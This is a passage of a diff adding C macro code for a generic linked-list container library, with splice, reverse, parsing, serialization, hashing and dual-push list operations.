+    M_ASSERT (list != NULL && list != org);                                   \
+    *list = *org;                                                             \
+    *org = NULL;  /* safer */                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _move, list_t list, list_t org)                             \
+  {                                                                           \
+    M_ASSERT (list != org);                                                   \
+    M_F(name, _clear)M_R(list);                                               \
+    M_F(name, _init_move)(list, org);                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_back)(list_t nv, list_t ov, it_t it)                      \
+  {                                                                           \
+    M_L1ST_CONTRACT(nv);                                                      \
+    M_L1ST_CONTRACT(ov);                                                      \
+    M_ASSERT (it != NULL);                                                    \
+    M_ASSERT (it->current != NULL);                                           \
+    M_ASSERT (M_F(name, _sublist_p)(ov, it));                                 \
+    /* Remove the item 'it' from the list 'ov' */                             \
+    struct M_F(name, _s) *current = it->current;                              \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (it->previous == NULL) {                                               \
+      *ov = next;                                                             \
+    } else {                                                                  \
+      it->previous->next = next;                                              \
+    }                                                                         \
+    /* Update the item 'it' to point to the next element */                   \
+    /* it->previous doesn't need to be updated */                             \
+    it->current = next;                                                       \
+    /* Push back extracted 'current' in the list 'nv' */                      \
+    current->next = *nv;                                                      \
+    *nv = current;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice_at)(list_t nlist, it_t npos,                              \
+                        list_t olist, it_t opos)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(nlist);                                                   \
+    M_L1ST_CONTRACT(olist);                                                   \
+    M_ASSERT (npos != NULL);                                                  \
+    M_ASSERT (opos != NULL);                                                  \
+    M_ASSERT (M_F(name, _sublist_p)(nlist, npos));                            \
+    M_ASSERT (M_F(name, _sublist_p)(olist, opos));                            \
+    /* Remove the item 'opos' from the list 'olist' */                        \
+    struct M_F(name, _s) *current = opos->current;                            \
+    /* current shall reference a valid element of the list */                 \
+    M_ASSERT (current != NULL);                                               \
+    struct M_F(name, _s) *next    = current->next;                            \
+    if (opos->previous == NULL) {                                             \
+      *olist = next;                                                          \
+    } else {                                                                  \
+      opos->previous->next = next;                                            \
+    }                                                                         \
+    /* Update 'opos' to point to the next element */                          \
+    opos->current = next;                                                     \
+    /* Insert 'current' into 'nlist' just after 'npos' */                     \
+    struct M_F(name, _s) *previous = npos->current;                           \
+    if (M_UNLIKELY (previous == NULL)) {                                      \
+      current->next = *nlist;                                                 \
+      *nlist = current;                                                       \
+    } else {                                                                  \
+      current->next = previous->next;                                         \
+      previous->next = current;                                               \
+    }                                                                         \
+    /* Update 'npos' to point to the new current element */                   \
+    npos->previous = npos->current;                                           \
+    npos->current  = current;                                                 \
+    M_L1ST_CONTRACT(nlist);                                                   \
+    M_L1ST_CONTRACT(olist);                                                   \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _splice)(list_t list1, list_t list2)                              \
+  {                                                                           \
+    M_L1ST_CONTRACT(list1);                                                   \
+    M_L1ST_CONTRACT(list2);                                                   \
+    M_ASSERT (list1 != list2);                                                \
+    struct M_F(name, _s) **update_list = list1;                               \
+    struct M_F(name, _s) *it = *list1;                                        \
+    while (it != NULL) {                                                      \
+      update_list = &it->next;                                                \
+      it = it->next;                                                          \
+    }                                                                         \
+    *update_list = *list2;                                                    \
+    *list2 = NULL;                                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _reverse)(list_t list)                                            \
+  {                                                                           \
+    M_L1ST_CONTRACT(list);                                                    \
+    struct M_F(name, _s) *previous = NULL, *it = *list, *next;                \
+    while (it != NULL) {                                                      \
+      next = it->next;                                                        \
+      it->next = previous;                                                    \
+      previous = it;                                                          \
+      it = next;                                                              \
+    }                                                                         \
+    *list = previous;                                                         \
+  }                                                                           \
+
+
+/* Internal list function definition using only iterator functions 
+   which is common for all kind of lists.
+   It shall therefore only used the public interface of a list
+   and no contract can be checked at this level.
+   - name: prefix to be used
+   - type: type of the elements of the list
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)                   \
+                                                                              \
+  M_IF_METHOD(GET_STR, oplist)(                                               \
+  M_P(void, name, _get_str, m_string_t str, const list_t list, bool append)   \
+  {                                                                           \
+    M_ASSERT (str != NULL && list != NULL);                                   \
+    (append ? m_string_cat_cstr : m_string_set_cstr) M_R(str, "[");           \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_GET_STR(oplist, str, *item, true);                               \
+      if (!M_F(name, _last_p)(it))                                            \
+        m_string_push_back M_R(str, M_GET_SEPARATOR oplist);                  \
+    }                                                                         \
+    m_string_push_back M_R(str, ']');                                         \
+  }                                                                           \
+  , /* no str */ )                                                            \
+                                                                              \
+  M_IF_METHOD(OUT_STR, oplist)(                                               \
+  M_INLINE void                                                               \
+  M_F(name, _out_str)(FILE *file, const list_t list)                          \
+  {                                                                           \
+    M_ASSERT (file != NULL && list != NULL);                                  \
+    fputc ('[', file);                                                        \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      M_CALL_OUT_STR(oplist, file, *item);                                    \
+      if (!M_F(name, _last_p)(it))                                            \
+        fputc (M_GET_SEPARATOR oplist, file);                                 \
+    }                                                                         \
+    fputc (']', file);                                                        \
+  }                                                                           \
+  , /* no out_str */ )                                                        \
+                                                                              \
+  M_IF_METHOD2(PARSE_STR, INIT, oplist)(                                      \
+  M_P(bool, name, _parse_str, list_t list, const char str[], const char **endp) \
+  {                                                                           \
+    M_ASSERT (str != NULL && list != NULL);                                   \
+    M_F(name,_reset)M_R(list);                                                \
+    bool success = false;                                                     \
+    int c = *str++;                                                           \
+    if (M_UNLIKELY (c != '[')) goto exit;                                     \
+    c = *str++;                                                               \
+    if (M_UNLIKELY (c == ']')) { success = true; goto exit;}                  \
+    if (M_UNLIKELY (c == 0)) goto exit;                                       \
+    str--;                                                                    \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_PARSE_STR(oplist, item, str, &str);                   \
+        c = m_core_str_nospace(&str);                                         \
+        if (b == false || c == 0) { c = 0; break; }                           \
+        M_F(name, _push_back)M_R(list, item);                                 \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+      success = (c == ']');                                                   \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+  exit:                                                                       \
+    if (endp) *endp = str;                                                    \
+    return success;                                                           \
+  }                                                                           \
+  , /* no PARSE_STR & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD2(IN_STR, INIT, oplist)(                                         \
+  M_P(bool, name, _in_str, list_t list, FILE *file)                           \
+  {                                                                           \
+    M_ASSERT (file != NULL && list != NULL);                                  \
+    M_F(name,_reset)M_R(list);                                                \
+    int c = fgetc(file);                                                      \
+    if (M_UNLIKELY (c != '[')) return false;                                  \
+    c = fgetc(file);                                                          \
+    if (M_UNLIKELY (c == ']')) return true;                                   \
+    if (M_UNLIKELY (c == EOF)) return false;                                  \
+    ungetc(c, file);                                                          \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        bool b = M_CALL_IN_STR(oplist, item, file);                           \
+        c = m_core_fgetc_nospace(file);                                       \
+        if (b == false || c == EOF) { c = 0; break; }                         \
+        M_F(name, _push_back)M_R(list, item);                                 \
+      } while (c == M_GET_SEPARATOR oplist);                                  \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+    return c == ']';                                                          \
+  }                                                                           \
+  , /* no IN_STR & INIT */ )                                                  \
+                                                                              \
+  M_IF_METHOD(OUT_SERIAL, oplist)(                                            \
+  M_P(m_serial_return_code_t, name, _out_serial, m_serial_write_t f, const list_t list) \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    bool first_done = false;                                                  \
+    ret = f->m_interface->write_array_start M_R(local, f, (size_t)-1);        \
+    if (ret == M_SERIAL_FAIL_RETRY) {                                         \
+      size_t n = M_F(name, _size)(list);                                      \
+      ret = f->m_interface->write_array_start M_R(local, f, n);               \
+    }                                                                         \
+    it_t it;                                                                  \
+    for (M_F(name, _it)(it, list) ;                                           \
+         !M_F(name, _end_p)(it);                                              \
+         M_F(name, _next)(it)){                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      if (first_done)                                                         \
+        ret |= f->m_interface->write_array_next M_R(local, f);                \
+      ret |= M_CALL_OUT_SERIAL(oplist, f, *item);                             \
+      first_done = true;                                                      \
+    }                                                                         \
+    ret |= f->m_interface->write_array_end M_R(local, f);                     \
+    return ret & M_SERIAL_FAIL;                                               \
+  }                                                                           \
+  , /* no OUT_SERIAL */ )                                                     \
+                                                                              \
+  M_IF_METHOD2(IN_SERIAL, INIT, oplist)(                                      \
+  M_P(m_serial_return_code_t, name, _in_serial, list_t list, m_serial_read_t f) \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_ASSERT (f != NULL && f->m_interface != NULL);                           \
+    m_serial_return_code_t ret;                                               \
+    m_serial_local_t local;                                                   \
+    size_t estimated_size = 0;                                                \
+    M_F(name,_reset)M_R(list);                                                \
+    ret = f->m_interface->read_array_start(local, f, &estimated_size);        \
+    if (M_UNLIKELY (ret != M_SERIAL_OK_CONTINUE)) return ret;                 \
+    M_QLET(1, item, type, oplist) {                                           \
+      do {                                                                    \
+        ret = M_CALL_IN_SERIAL(oplist, item, f);                              \
+        if (ret != M_SERIAL_OK_DONE) { break; }                               \
+        M_F(name, _push_back)M_R(list, item);                                 \
+        ret = f->m_interface->read_array_next(local, f);                      \
+      } while (ret == M_SERIAL_OK_CONTINUE);                                  \
+    }                                                                         \
+    M_F(name, _reverse)(list);                                                \
+    return ret;                                                               \
+  }                                                                           \
+  , /* no IN_SERIAL & INIT */ )                                               \
+                                                                              \
+  M_IF_METHOD(EQUAL, oplist)(                                                 \
+  M_INLINE bool                                                               \
+  M_F(name, _equal_p)(const list_t list1, const list_t list2)                 \
+  {                                                                           \
+    M_ASSERT (list1 != NULL && list2 != NULL);                                \
+    it_t it1;                                                                 \
+    it_t it2;                                                                 \
+    if (list1 == list2) return true;                                          \
+    M_F(name, _it)(it1, list1);                                               \
+    M_F(name, _it)(it2, list2);                                               \
+    while (!M_F(name, _end_p)(it1)                                            \
+           &&!M_F(name, _end_p)(it2)) {                                       \
+      type const *item1 = M_F(name, _cref)(it1);                              \
+      type const *item2 = M_F(name, _cref)(it2);                              \
+      bool b = M_CALL_EQUAL(oplist, *item1, *item2);                          \
+      if (!b) return false;                                                   \
+      M_F(name, _next)(it1);                                                  \
+      M_F(name, _next)(it2);                                                  \
+    }                                                                         \
+    return M_F(name, _end_p)(it1)                                             \
+      && M_F(name, _end_p)(it2);                                              \
+  }                                                                           \
+  , /* no equal */ )                                                          \
+                                                                              \
+  M_IF_METHOD(HASH, oplist)(                                                  \
+  M_INLINE size_t                                                             \
+  M_F(name, _hash)(const list_t list)                                         \
+  {                                                                           \
+    M_ASSERT (list != NULL);                                                  \
+    M_HASH_DECL(hash);                                                        \
+    it_t it;                                                                  \
+    for(M_F(name, _it)(it, list) ;                                            \
+        !M_F(name, _end_p)(it);                                               \
+        M_F(name, _next)(it)) {                                               \
+      type const *item = M_F(name, _cref)(it);                                \
+      size_t hi = M_CALL_HASH(oplist, *item);                                 \
+      M_HASH_UP(hash, hi);                                                    \
+    }                                                                         \
+    return M_HASH_FINAL (hash);                                               \
+  }                                                                           \
+  , /* no hash */ )                                                           \
+
+
+/* Definition of the emplace_back function for single list */
+#define M_L1ST_EMPLACE_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw)M_R(v);           \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = *v );                         \
+    M_ON_EXCEPTION( *v = next->next, M_CALL_DEL(oplist, next)) {              \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Definition of the emplace_back function for dual push list */
+#define M_L1ST_EMPLACE_STRONG_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_back_raw)M_R(v);           \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Definition of the emplace_front function for dual push list */
+#define M_L1ST_EMPLACE_WEAK_DEF(name, name_t, function_name, oplist, init_func, exp_emplace_type) \
+  M_P(void, name, function_name, name_t v M_EMPLACE_LIST_TYPE_VAR(a, exp_emplace_type) ) \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *front = v->last, *back = v->first);  \
+    M_F(name, _subtype_ct) *data = M_F(name, _push_front_raw)M_R(v);          \
+    if (M_UNLIKELY (data == NULL) )                                           \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = back, v->last = front, (front != NULL ? front : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_EMPLACE_CALL_FUNC(a, init_func, oplist, *data, exp_emplace_type);     \
+    }                                                                         \
+  }
+
+
+/* Deferred evaluation for the dual-push list definition,
+   so that all arguments are evaluated before further expansion */
+#define M_L1ST_DUAL_PUSH_DEF_P1(arg) M_ID( M_L1ST_DUAL_PUSH_DEF_P2 arg )
+
+/* Validate the oplist before going further */
+#define M_L1ST_DUAL_PUSH_DEF_P2(name, type, oplist, list_t, it_t)             \
+  M_IF_OPLIST(oplist)(M_L1ST_DUAL_PUSH_DEF_P3, M_L1ST_DUAL_PUSH_DEF_FAILURE)(name, type, oplist, list_t, it_t)
+
+/* Stop processing with a compilation failure */
+#define M_L1ST_DUAL_PUSH_DEF_FAILURE(name, type, oplist, list_t, it_t)        \
+  M_STATIC_FAILURE(M_LIB_NOT_AN_OPLIST, "(LIST_BIx_DEF): the given argument is not a valid oplist: " #oplist)
+
+
+/* Define the internal contract of an dual-push list */
+#define M_L1ST_DUAL_PUSH_CONTRACT(l) do {                                     \
+    M_ASSERT (l != NULL);                                                     \
+    M_ASSERT ( (l->first == NULL && l->last == NULL)                          \
+             || (l->first != NULL && l->last != NULL));                       \
+  } while (0)
+
+
+/* Internal dual-push list definition
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for M_F(name, _t) [ type of the container ]
+   - it_t: alias for M_F(name, _it_t) [ iterator of the container ]
+ */
+#define M_L1ST_DUAL_PUSH_DEF_P3(name, type, oplist, list_t, it_t)             \
+  M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)                 \
+  M_CHECK_COMPATIBLE_OPLIST(name, 1, type, oplist)                            \
+  M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, _back, _push_back_raw, _push_back, _push_back_move, _push_back_new, _pop_back, _front, _push_front_raw, _push_front, _push_front_move, _push_front_new, _splice_back) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_back, oplist, M_L1ST_EMPLACE_STRONG_DEF) \
+  M_EMPLACE_QUEUE_DEF(name, list_t, _emplace_front, oplist, M_L1ST_EMPLACE_WEAK_DEF) \
+  M_L1ST_ITBASE_DEF(name, type, oplist, list_t, it_t)
+
+
+/* Define the type of a dual-push list */
+#define M_L1ST_DUAL_PUSH_DEF_TYPE(name, type, oplist, list_t, it_t)           \
+  /* Node of a list (it is liked the singly linked list) */                   \
+  struct M_F(name, _s) {                                                      \
+    struct M_F(name, _s) *next;                                               \
+    type data;                                                                \
+  };                                                                          \
+                                                                              \
+  /* Dual Push singly linked list.                                            \
+     Support Push Back / Push Front / Pop back or front in O(1).              \
+     This is done by keeping a pointer to both back & front                   \
+  */                                                                          \
+  typedef struct M_F(name, _head_s)  {                                        \
+    struct M_F(name,_s) *last; /* Pointer to the weak entry node or NULL */   \
+    struct M_F(name,_s) *first; /* Pointer to the strong entry node or NULL */ \
+  } list_t[1];                                                                \
+                                                                              \
+  /* Define the iterator over a dual push singly linked list */               \
+  typedef struct M_F(name, _it_s) {                                           \
+    struct M_F(name, _s) *previous;                                           \
+    struct M_F(name, _s) *current;                                            \
+  } it_t[1];                                                                  \
+                                                                              \
+  /* Definition of the synonyms of the type */                                \
+  typedef struct M_F(name, _head_s) *M_F(name, _ptr);                         \
+  typedef const struct M_F(name, _head_s) *M_F(name, _srcptr);                \
+  typedef list_t M_F(name, _ct);                                              \
+  typedef it_t M_F(name, _it_ct);                                             \
+  typedef type M_F(name, _subtype_ct);                                        \
+                                                                              \
+
+/* Internal dual-push list definition
+   - name: prefix to be used
+   - type: type of the elements of the array
+   - oplist: oplist of the type of the elements of the container
+   - list_t: alias for type of the container
+   - it_t: alias for iterator of the container
+   - strong: name of the strong entry point (back or front)
+   - weak: name of the weak entry point (front or back)
+ */
+#define M_L1ST_DUAL_PUSH_DEF_P4(name, type, oplist, list_t, it_t, strong, push_strong_raw, push_strong, push_strong_move, push_strong_new, pop_strong, weak, push_weak_raw, push_weak, push_weak_move, push_weak_new, splice_strong) \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _init)(list_t v)                                                  \
+  {                                                                           \
+    M_ASSERT( v != NULL);                                                     \
+    v->last = NULL;                                                           \
+    v->first = NULL;                                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _reset, list_t v)                                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *it = v->first;                                      \
+    while (it != NULL) {                                                      \
+      struct M_F(name, _s) *next = it->next;                                  \
+      M_CALL_CLEAR(oplist, it->data);                                         \
+      M_CALL_DEL(oplist, it);                                                 \
+      it = next;                                                              \
+    }                                                                         \
+    v->last = NULL;                                                           \
+    v->first = NULL;                                                          \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _clear, list_t v)                                           \
+  {                                                                           \
+    M_F(name, _reset)M_R(v);                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, strong)(const list_t v)                                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    return &(v->first->data);                                                 \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, push_strong_raw, list_t v)                                \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = v->first;                                                    \
+    v->first = next;                                                          \
+    /* Update weak entry too if the list was empty */                         \
+    /* This C code should generate branchless code */                         \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == NULL) ? next : node;                                      \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_strong, list_t v, type const x)                        \
+  {                                                                           \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, push_strong_new, list_t v)                                \
+  {                                                                           \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *next = v->first);                    \
+    M_ON_EXCEPTION( v->first = next->next, v->last = (v->last == next) ? NULL : v->last, M_CALL_DEL(oplist, next)) { \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */ )                                                           \
+                                                                              \
+  M_P(void, name, push_strong_move, list_t v, type *x)                        \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, push_strong_raw)M_R(v);                            \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _push_move, list_t v, type *x)                              \
+  {                                                                           \
+    M_F(name, push_strong_move)M_R(v, x);                                     \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, pop_strong, type *data, list_t v)                           \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    struct M_F(name, _s) *tofree = v->first;                                  \
+    if (data != NULL) {                                                       \
+      M_DO_MOVE(oplist, *data, tofree->data);                                 \
+    } else {                                                                  \
+      M_CALL_CLEAR(oplist, tofree->data);                                     \
+    }                                                                         \
+    v->first = tofree->next;                                                  \
+    M_CALL_DEL(oplist, tofree);                                               \
+    /* Update weak entry too if the list became empty */                      \
+    /* This C code shall generate branchless code */                          \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == tofree) ? NULL : node;                                    \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop, type *data, list_t v)                                 \
+  {                                                                           \
+    M_F(name, pop_strong)M_R(data, v);                                        \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, _pop_move, type *data, list_t v)                            \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->first != NULL);                                              \
+    M_ASSERT (data != NULL);                                                  \
+    struct M_F(name, _s) *tofree = v->first;                                  \
+    M_CALL_INIT_MOVE (oplist, *data, tofree->data);                           \
+    v->first = tofree->next;                                                  \
+    M_CALL_DEL(oplist, tofree);                                               \
+    /* Update weak entry too if the list became empty */                      \
+    /* This C code shall generate branchless code */                          \
+    struct M_F(name, _s) *node = v->last;                                     \
+    node = (node == tofree) ? NULL : node;                                    \
+    v->last = node;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, weak)(list_t v)                                                   \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (v->last != NULL);                                               \
+    return &(v->last->data);                                                  \
+  }                                                                           \
+                                                                              \
+  M_P(type *, name, push_weak_raw, list_t v)                                  \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    struct M_F(name, _s) *next = M_CALL_NEW(oplist, struct M_F(name, _s));    \
+    if (M_UNLIKELY_NOMEM (next == NULL)) {                                    \
+      M_MEMORY_FULL(struct M_F(name, _s), 1);                                 \
+    }                                                                         \
+    type *ret = &next->data;                                                  \
+    next->next = NULL;                                                        \
+    if (M_LIKELY(v->last != NULL)) {                                          \
+      v->last->next = next;                                                   \
+    } else {                                                                  \
+      /* Update strong entry too as the list was empty */                     \
+      v->first = next;                                                        \
+    }                                                                         \
+    v->last = next;                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return ret;                                                               \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_weak, list_t v, type const x)                          \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *last = v->last, *first = v->first);  \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = first, v->last = last, (last != NULL ? last : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_CALL_INIT_SET(oplist, *data, x);                                      \
+    }                                                                         \
+  }                                                                           \
+                                                                              \
+  M_P(void, name, push_weak_move, list_t v, type *x)                          \
+  {                                                                           \
+    M_ASSERT (x != NULL);                                                     \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return;                                                                 \
+    M_CALL_INIT_MOVE (oplist, *data, *x);                                     \
+  }                                                                           \
+                                                                              \
+  M_IF_METHOD(INIT, oplist)(                                                  \
+  M_P(type *, name, push_weak_new, list_t v)                                  \
+  {                                                                           \
+    M_IF_EXCEPTION(struct M_F(name, _s) *last = v->last, *first = v->first);  \
+    type *data = M_F(name, push_weak_raw)M_R(v);                              \
+    if (M_UNLIKELY (data == NULL))                                            \
+      return NULL;                                                            \
+    M_IF_EXCEPTION(struct M_F(name, _s) *m_volatile tofree = v->last);        \
+    M_IF_EXCEPTION(M_ASSERT(tofree != NULL));                                 \
+    M_ON_EXCEPTION( v->first = first, v->last = last, (last != NULL ? last : tofree)->next = NULL, M_CALL_DEL(oplist, tofree)) { \
+      M_CALL_INIT(oplist, *data);                                             \
+    }                                                                         \
+    return data;                                                              \
+  }                                                                           \
+  , /* No INIT */)                                                            \
+                                                                              \
+  M_P(void, name, _push, list_t v, type const x)                              \
+  {                                                                           \
+    M_F(name, _push_back)M_R(v, x);                                           \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _empty_p)(const list_t v)                                         \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    return v->first == NULL;                                                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _swap)(list_t l, list_t v)                                        \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(l);                                             \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_SWAP(struct M_F(name, _s) *, l->last, v->last);                         \
+    M_SWAP(struct M_F(name, _s) *, l->first, v->first);                       \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it)(it_t it, const list_t v)                                     \
+  {                                                                           \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    M_ASSERT (it != NULL);                                                    \
+    it->current  = v->first;                                                  \
+    it->previous = NULL;                                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_set)(it_t it1, const it_t it2)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL && it2 != NULL);                                    \
+    it1->current  = it2->current;                                             \
+    it1->previous = it2->previous;                                            \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _it_end)(it_t it1, const list_t v)                                \
+  {                                                                           \
+    M_ASSERT (it1 != NULL);                                                   \
+    M_L1ST_DUAL_PUSH_CONTRACT(v);                                             \
+    (void)v; /* unused */                                                     \
+    it1->current  = NULL;                                                     \
+    it1->previous = NULL;                                                     \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _end_p)(const it_t it)                                            \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL;                                               \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _last_p)(const it_t it)                                           \
+  {                                                                           \
+    M_ASSERT (it != NULL);                                                    \
+    return it->current == NULL || it->current->next == NULL;                  \
+  }                                                                           \
+                                                                              \
+  M_INLINE void                                                               \
+  M_F(name, _next)(it_t it)                                                   \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
+    it->previous = it->current;                                               \
+    it->current  = it->current->next;                                         \
+  }                                                                           \
+                                                                              \
+  M_INLINE bool                                                               \
+  M_F(name, _it_equal_p)(const it_t it1, const it_t it2)                      \
+  {                                                                           \
+    M_ASSERT(it1 != NULL && it2 != NULL);                                     \
+    return it1->current == it2->current;                                      \
+  }                                                                           \
+                                                                              \
+  M_INLINE type *                                                             \
+  M_F(name, _ref)(const it_t it)                                              \
+  {                                                                           \
+    M_ASSERT(it != NULL && it->current != NULL);                              \
